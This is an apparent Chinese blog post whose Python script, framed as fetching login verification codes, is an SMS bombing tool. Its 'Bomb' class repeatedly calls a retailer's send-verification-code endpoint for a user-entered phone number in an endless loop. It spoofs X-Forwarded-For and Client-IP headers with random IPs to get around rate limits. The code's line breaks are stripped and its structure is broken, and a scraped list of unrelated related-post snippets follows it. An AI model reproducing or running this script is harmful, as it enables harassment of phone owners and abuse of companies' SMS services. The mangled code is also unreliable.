使用python对指定手机号获取各网站登录的验证码。
通过模拟发送网页登录页面请求获取验证码。
- 原理是通过requests库的对象构建一个网页请求,网页请求发送给服务器之后。服务器就会对指定手机号发送一个验证码短信。
import requests
import random
import socket
import struct
import timedef initAPI(phone):APIList = [
["https://www.decathlon.com.cn/zh/ajax/rest/model/atg/userprofiling/ProfileActor/send-mobile-verification-code",30,"迪卡侬", "POST", {"countryCode": "CN", "mobile": phone},"https://www.decathlon.com.cn/zh/create"]]return APIListclass initSMS(object):"""docstring for initSMS"""def __init__(self):super(initSMS, self).__init__()self.SMSList = []self.intervalInfo = 0def initBomb(self,APIList):for x in APIList:self.intervalInfo += 1self.SMSList.append(SMSObject(x[0], x[1], x[2], x[3], x[4], x[5], self.intervalInfo))return self.SMSListclass SMSObject(object):"""docstring for SMSObject""" def __init__(self, url, interval, info, method, params, others, intervalInfo):super(SMSObject, self).__init__()self.__url = urlself.__interval = intervalself.__info = infoself.__intervalInfo = intervalInfoself.__method = methodself.__params = paramsself.__others = othersdef getUrl(self):return self.__urldef getInfo(self):return self.__infodef getParams(self):return self.__paramsdef getMethod(self):return self.__methoddef getOthers(self):return self.__othersdef getInterval(self):return self.__intervaldef getintervalInfo(self):return self.__intervalInfodef setintervalInfo(self, intervalInfo):self.__intervalInfo = intervalInfoclass Bomb(object):def __init__(self):super(Bomb, self).__init__()self.HEADERS = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.81 Safari/537.36',# 'Referer': 'http://10.13.0.1','accept-encoding': 'gzip, deflate, br','accept-language': 'zh-CN,zh-TW;q=0.8,zh;q=0.6,en;q=0.4,ja;q=0.2','cache-control': 'max-age=0',"X-Requested-With": "XMLHttpRequest"}def send(self, SMS):# return "SUCCESS"IP = socket.inet_ntoa(struct.pack('>I', random.randint(1, 0xffffffff)))self.HEADERS['X-FORWARDED-FOR'] = IPself.HEADERS['CLIENT-IP'] = IPprint('IP=', IP)try:session = requests.Session()if SMS.getOthers() != "":session.get(SMS.getOthers(), timeout=5, headers=self.HEADERS)self.HEADERS['Referer'] = SMS.getOthers()if SMS.getMethod() == "GET":req = session.get(SMS.getUrl(), params=SMS.getParams(), timeout=5, headers=self.HEADERS)else:req = session.post(SMS.getUrl(), data=SMS.getParams(), timeout=5, headers=self.HEADERS)# print(req.url)except Exception as e:return str(e)return "已发送"if __name__ == '__main__':phoneList=input('请输入手机号码:')bombNum=1while True: bombNum+=1for phone in phoneList: APIList=initAPI(phone) print("\n电话:", phone)SMSList = initSMS().initBomb(APIList=APIList)switchOn = Bomb()i = 0currTime = 0while True:currTime += 1for x in SMSList:if x.getintervalInfo() == 0:i += 1info = switchOn.send(x)print(str(i) + "." + x.getInfo() + " " + info)x.setintervalInfo(x.getInterval())else:x.setintervalInfo(x.getintervalInfo() - 1)time.sleep(2) if i==len(APIList):return 0;
代码有不清楚的地方可以关注并私信我一起交流学习哦。
使用python对指定手机号获取各网站登录的验证码。相关推荐
- Python 爬虫进阶必备——某体育网站登录令牌加密分析,赶紧收藏哦!
某体育网站登录令牌加密分析 aHR0cHMlM0EvL3d3dy55YWJvMjU5LmNvbS9sb2dpbg== 这个网站需要分析的是登录时候的 sign令牌 抓包与加密定位 老规矩先用开发者工具 ...
- rpa网站登录图形验证码识别
先要把图片下载到本地,再调用接口识别 信息 = seFindChildElement(sSessionID, sDivElementID, 1, 'el-icon-date', sElementID) ...
- python 对指定URL获取其子链接
仿照http://blog.csdn.net/lming_08/article/details/44710779里面的方法, 获取指定URL 的所需的子链接及其描述. #!/usr/bin/pytho ...
- Python爬虫项目,获取所有网站上的新闻,并保存到数据库中,解析html网页等(未完待续)
1.需求说明 需求: 爬取虎嗅网站的所有新闻,并保存到数据库中. http://www.huxiu.com 技术: 1.爬虫 获取服务器的资源(urllib) 解析html网页(BeautifulSo ...
- 不使用接口的方式获取数据(登录无验证码)
因其项目较特殊,无法使用httpclient来获取数据,但需求必须实现,所以采用了两种方法来获取数据,前提是有固定的账号和密码能够登陆网站 一.使用selenium工具 先设置maven依赖 因其项目 ...
- 软件获取手机的ime权限_获客系统(软件)精准外呼、网站手机号获取、网页手机号获取...
原标题:获客系统(软件)精准外呼.网站手机号获取.网页手机号获取 1.网站手机号抓取的原理 网站手机号抓取其实运营商通过数据库的流量消耗记录系统,用户只要用流量浏览了某个网站,就会有流量消耗的痕迹,在 ...
- python实现手机号获取短信验证码 | 对接打码平台
前言 本篇文章主要讲了如何利用python自动注册网站(自动识别验证码) ID在用户中心最下面的软件ID里获取 识别类型在"价格体系"中查看 首先需要花1块钱到超级鹰打码平台上买点 ...
- python 东方财富接口_Python从东方财富网站获取数据,python,的
python 获取东方财富网站的数据 #!/usr/bin/env python # -*- coding: utf-8 -*- import pandas as pd from selenium i ...
- Python unittest利用discover获取指定目录或多级目录下的测试用例
最近在写接口自动化框架,由python+requests+unittest构建(其他还有些导入模块,这里暂且不说),目前还在搭建当中,整体其框架结构如下: 在编写Common下的RunTools组件( ...
最新文章
- 使用Categorical_endcoder包对标称变量进行个性化编码
- zb如何导出自己画的_zbrush纹理贴图(zbrush怎么导出映射贴图)
- node.js基础 1之 HTTP事件回调进阶(HTTP模块)
- 手机蓝牙连不上jimu机器人_蓝牙连接出现问题到解决问题,一件小事,感慨实时逆向思维的重要...
- Git和GitHub使用教程
- ZoomIt – 屏幕标注、电子画笔 [小工具]
- 用Syslog 记录UNIX和Windows日志的方法
- QT右键点击添加库不响应的解决办法
- gridview 简单的分页
- spring test教程
- c#连mysql的latin1编码乱码问题
- python课程_python课程大放送
- 安笙机器人_张翰新戏搭档徐璐!包贝尔要和辛芷蕾演奇幻电影?
- 微积分(二)——曲线积分与曲面积分笔记
- 坐拥百度/阿里/腾讯,这家车载导航上市公司的营收却一路下挫?
- 排队论----学习反馈
- python expend_Python序列化proto中repeated修饰的数据
- Learn OpenGL 笔记7.1 PBR Theory(physically based rendering基于物理的渲染 理论)
- 九度1088——剩下的树
- Qt设置按钮背景图片
热门文章
- 三类医疗器械经营许可证
- RDBMS和HDFS, HIVE, HBASE的迁移工具Sqoop
- mybatis(一)MyBatis Generator
- Jupyter notebook用谷歌浏览器打开
- 《向上生长》九边 读后感
- java连接neo4j(使用spring data neo4j)
- (转载)一种简单而有趣的数据结构——并查集
- IDEA中对代码进行commit时,git报Unable to create ‘E:/blog/.git/index.lock‘: File exists问题解决
- [RK3399/RK3328][Android10.0] storage:u盘/移动硬盘 每次开机都提示需要格式化
- 简单理解:第一类错误,第二类错误,统计显著性,空假设和P值